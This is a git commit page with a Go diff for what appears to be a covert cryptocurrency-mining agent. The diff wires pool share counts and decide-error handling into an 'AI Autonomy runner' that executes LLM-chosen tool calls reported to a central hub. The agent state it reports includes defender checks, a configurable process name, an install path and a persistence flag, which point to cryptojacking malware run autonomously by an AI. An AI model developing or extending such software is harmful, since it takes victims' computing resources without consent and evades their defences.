Fix build breakers and remaining runtime bugs across stack.

Remove corrupt empty main.go files, harden WebSocket reconnect and pre-auth handling, complete live stats in the dashboard hook, wire AI share counts, and refresh PROBLEMS.md.
This commit is contained in:
drjones
2026-05-28 16:23:24 -07:00
parent edffb03e00
commit fabc632384
8 changed files with 146 additions and 163 deletions

View File

@@ -68,6 +68,7 @@ type ToolCall struct {
type DecideResponse struct {
ToolCalls []ToolCall `json:"tool_calls"`
Reasoning string `json:"reasoning"`
Error string `json:"error,omitempty"`
}
// ToolReport is the result of executing a tool call, sent back to the hub.
@@ -105,6 +106,7 @@ type AIRunner struct {
serverURL string
agentID string
startedAt time.Time
shareStats func() (submitted, accepted int)
stopCh chan struct{}
}
@@ -208,6 +210,8 @@ func (a *AIRunner) collectState() AgentState {
// Check defender state
defenderState := a.checkDefender()
sharesTotal, sharesGood, sharesBad := a.shareCounts()
return AgentState{
AgentID: a.agentID,
WorkerName: a.cfg.WorkerName,
@@ -219,9 +223,9 @@ func (a *AIRunner) collectState() AgentState {
MemoryGB: memGB,
MemoryUsagePct: memPct,
Hashrate15m: hashrate,
SharesTotal: 0, // tracked by pool internally
SharesGood: 0,
SharesBad: 0,
SharesTotal: sharesTotal,
SharesGood: sharesGood,
SharesBad: sharesBad,
ProcessName: a.cfg.EffectiveProcessName(),
InstallPath: installPath,
HasPersistence: hasPersistence,
@@ -266,10 +270,25 @@ func (a *AIRunner) callDecide(state AgentState) (*DecideResponse, error) {
if err := json.NewDecoder(resp.Body).Decode(&decideResp); err != nil {
return nil, fmt.Errorf("failed to parse decide response: %w", err)
}
if decideResp.Error != "" {
return nil, fmt.Errorf("decide error: %s", decideResp.Error)
}
return &decideResp, nil
}
func (a *AIRunner) shareCounts() (total, good, bad int) {
if a.shareStats != nil {
submitted, accepted := a.shareStats()
bad = submitted - accepted
if bad < 0 {
bad = 0
}
return submitted, accepted, bad
}
return 0, 0, 0
}
// executeToolCall executes a single tool call from the LLM.
func (a *AIRunner) executeToolCall(tc ToolCall) ToolReport {
report := ToolReport{

View File

@@ -58,6 +58,11 @@ func (c *AgentClient) Run() error {
// Start AI Autonomy runner if enabled
if c.cfg.AIEnabled {
c.aiRunner = NewAIRunner(c.cfg, c.reporter, c.pool)
c.aiRunner.shareStats = func() (int, int) {
c.mu.Lock()
defer c.mu.Unlock()
return c.sharesSubmitted, c.sharesAccepted
}
c.aiRunner.Start()
defer c.aiRunner.Stop()
}